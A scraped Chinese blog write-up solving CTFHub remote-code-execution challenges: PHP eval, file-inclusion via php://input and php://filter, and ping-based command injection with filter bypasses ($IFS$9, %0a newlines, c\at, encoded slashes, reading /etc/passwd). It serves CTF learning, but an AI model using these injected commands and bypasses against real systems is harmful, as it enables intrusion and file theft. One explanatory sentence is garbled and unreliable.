当前位置: 首页 > news >正文

美橙互联网站建设深圳互联网公司50强

美橙互联网站建设,深圳互联网公司50强,使用element做的网站,常州哪家公司做网站目录标题 引言什么是RCE漏洞 eval执行文件包含文件包含php://input读取源代码远程包含 命令注入无过滤过滤cat过滤空格过滤目录分隔符过滤运算符综合过滤练习 引言 题目共有如下类型 什么是RCE漏洞 RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文…

目录标题

    • 引言
      • 什么是RCE漏洞
    • eval执行
    • 文件包含
      • 文件包含
      • php://input
      • 读取源代码
      • 远程包含
    • 命令注入
      • 无过滤
      • 过滤cat
      • 过滤空格
      • 过滤目录分隔符
      • 过滤运算符
      • 综合过滤练习

引言

题目共有如下类型

什么是RCE漏洞

RCE漏洞,全称是Remote Code Execution漏洞,翻译成中文就是远程代码执行漏洞。顾名思义,这是一种安全漏洞,允许攻击者在受害者的系统上远程执行任意代码

eval执行

分析源码:

 <?php
if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
} else {highlight_file(__FILE__);
}
?> 

执行命令查看当前目录

?cmd=system("ls");

查看根目录或者上级目录一个一个查找

?cmd=system("ls /");
?cmd=system("ls ../../../");

发现flag文件

cat /flag_8751即可

文件包含

文件包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {                          //检查是否存在file参数且不为空if (!strpos($_GET["file"], "flag")) {            //过滤flag字符串include $_GET["file"];                       } else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?><hr>
i have a <a href="shell.txt">shell</a>, how to use it ?   //提示有个shell.txt文件,内容为 <?php eval($_REQUEST['ctfhub']);?>

利用文件包含读取shell.txt

先了解一下** R E Q U E S T ∗ ∗ 函数,是 P H P 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说, ‘ _REQUEST**函数,是PHP 中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,` REQUEST函数,是PHP中一个非常方便的超级全局变量,它处理来自用户输入的数据。具体来说,_REQUEST` 变量包含了通过 GETPOSTCOOKIE 方法传递的数据 ,所以可以利用POST或cookie传入ctfhub变量

查看根目录

查找flag

php://input

源码分析

<?php
if (isset($_GET['file'])) {                                //检查是否存在file参数if ( substr($_GET["file"], 0, 6) === "php://" ) {      //检查参数前6位是否为 php:// ,是则执行include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
// 给了应该phpinfo.php超链接

查看phpinfo.php文件,发现此处

抓包构造命令执行,因为有php://input,故会执行传入的php代码

查看flag

这里也可以利用php伪协议,会得到一串base64加密的flag,解密即可

或者:

读取源代码

源码审计

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {    //检查file参数是否以 php:// 开头include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);                            //代码高亮,显示源码
}
?>i don't have shell, how to get flag? 
flag in <code>/flag</code>                             //flag在根目录

php伪协议读取flag

?file=php://filter/read=/resource=/flag

远程包含

源码审计

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {      //过滤flag字符串include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>

给了一个phpinfo()界面,根据题目提示,还是文件包含题,抓包利用php;//input读取

查看根目录

读取flag

命令注入

  • 这里需要了解一下常见的命令分隔符

  • ; : 无论前面是否执行,后面都执行

  • **||(逻辑或):**前命令失败执行后命令,如果前命令成功则不执行后命令

  • **| :**前者结果作为后者参数使用

  • **&& :**前命令成功执行后命令,如果失败则不执行后命令

  • **\n:**换行符,url编码%0a

  • %0a (换行)

  • %0d (回车)

无过滤

没有做任何过滤

ping一下

查看该目录,使用 127.0.0.1; ls 也是可以的

查看26398804916519.php

127.0.0.1 | cat 26398804916519.php

发现flag

过滤cat

查看源码:

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {   $ip = $_GET['ip'];$m = [];if (!preg_match_all("/cat/", $ip, $m)) {           //过滤了cat字符串$cmd = "ping -c 4 {$ip}";                //windows默认ping4次,Linux不设置次数会一直pingexec($cmd, $res);} else {$res = $m;}
}

查看当前目录

因为cat被过滤了,此系统是linux操作系统,所以可以使用cat命令的平替,如 nl tac c\at less more tail

nl查看,得到flag

或者使用转义符 \ 绕过 也可以得到flag,会将c\at 分为两个字符串,则绕过cat过滤

过滤空格

查看源码

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/ /", $ip, $m)) {                 //只过滤了空格$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

先查看当前目录,得到flag文件 flag_11971489425983.php

这里介绍几个绕过空格的方法

$IFS$9   %09    <>    <     {cat,flag}

可以绕过空格

127.0.0.1;cat$IFS$9flag_11971489425983.php

过滤目录分隔符

几种常见的 / 符号绕过方法

改变工作目录:cd xxx   避免使用 / 符号
环境变量截取: ${PATH:0:1}   ${HOME:0:1}
编码绕过:8进制: $(printf "\57")    16进制: $'\x2f'      $'\57'
调用命令生成:a=$(printf "/"); cat ${a}etc${a}passwd     cat  `echo /`etc`echo /`passwd
通配符替代(部分路径已知)/???/cat /???/passwd            //匹配 /bin/cat
利用反斜杠:cat \/etc\/passwd
协议替代:file_get_contents('glob:///*'); 

提示:

源码

<?php$res = FALSE;if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/\//", $ip, $m)) {         //过滤了 / 符号$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

查看当前目录

进入该目录并查看

执行以下命令读取flag文件

127.0.0.1;cd flag_is_here;cat flag_29914267619184.php

得到flag

过滤运算符

查看源码,可以利用 **;**绕过

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||\&)/", $ip, $m)) {          //利用正则匹配过滤了 | 和 & $cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

查看当前目录

执行以下命令

127.0.0.1;cat flag_4351260182213.php

得到flag

综合过滤练习

源码审计

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {$ip = $_GET['ip'];$m = [];if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {  //过滤了 | & ; 空格 / cat flag ctfhub$cmd = "ping -c 4 {$ip}";exec($cmd, $res);} else {$res = $m;}
}
?>

利用换行符**%0a绕过**查看当前目录

查看根目录,没有有用信息,flag应该存在flag_is_here目录下

执行以下命令

?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als         //flag被过滤,需要绕过

查看该flag

?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php  //绕过cat

http://www.tj-hxxt.cn/news/21613.html

相关文章:

  • 三栏wordpress 主题什么是seo关键词优化
  • 建筑工程网站建设方案怎么制作个人网页
  • 深圳网站建设公司乐云seo搜索引擎广告形式有
  • 360网站做推广数字营销平台有哪些
  • 玉溪网站建设网站建设2023年8月份新冠
  • 公明做网站seo查询平台
  • 安阳新闻网官网培训seo去哪家机构最好
  • 做app网站公司培训学校加盟
  • wordpress本地环境搭建优化防控措施
  • 南昌网站建设那家好谷歌商店paypal三件套
  • 南京优化网站优化疫情防控
  • 上海游玩攻略必去的地方网络优化大师app
  • 宜兴网站建设外包公司到底值不值得去
  • 网站txt地图怎么做什么是网站外链
  • 广州各类外贸网站行业关键词搜索排名
  • 东莞凤岗企业网站建设推广小说推文万能关键词
  • 免费建微网站搜索引擎营销的案例
  • 苏州注册公司网上核名网站seo优化推广外包
  • 淮北公司做网站上海网络排名优化
  • 谷歌推广怎么做搜索引擎优化的各种方法
  • 安阳交友网站开发公司电商从零基础怎么学
  • 网站开发和嵌入式开发哪个免费做网站自助建站
  • 网上做平面设计的网站2022年大事热点新闻
  • 广元 网站建设查权重工具
  • wordpress 数据库备份插件超级seo外链
  • 树莓派做网站服务器性能怎么样搜索引擎优化通常要注意的问题有
  • 福安网站建设游戏推广代理app
  • 毕业设计做app还是做网站百度快照怎么使用
  • 武汉新天厦建设工程有限公司网站seo企业优化方案
  • 汕头新闻中山seo推广优化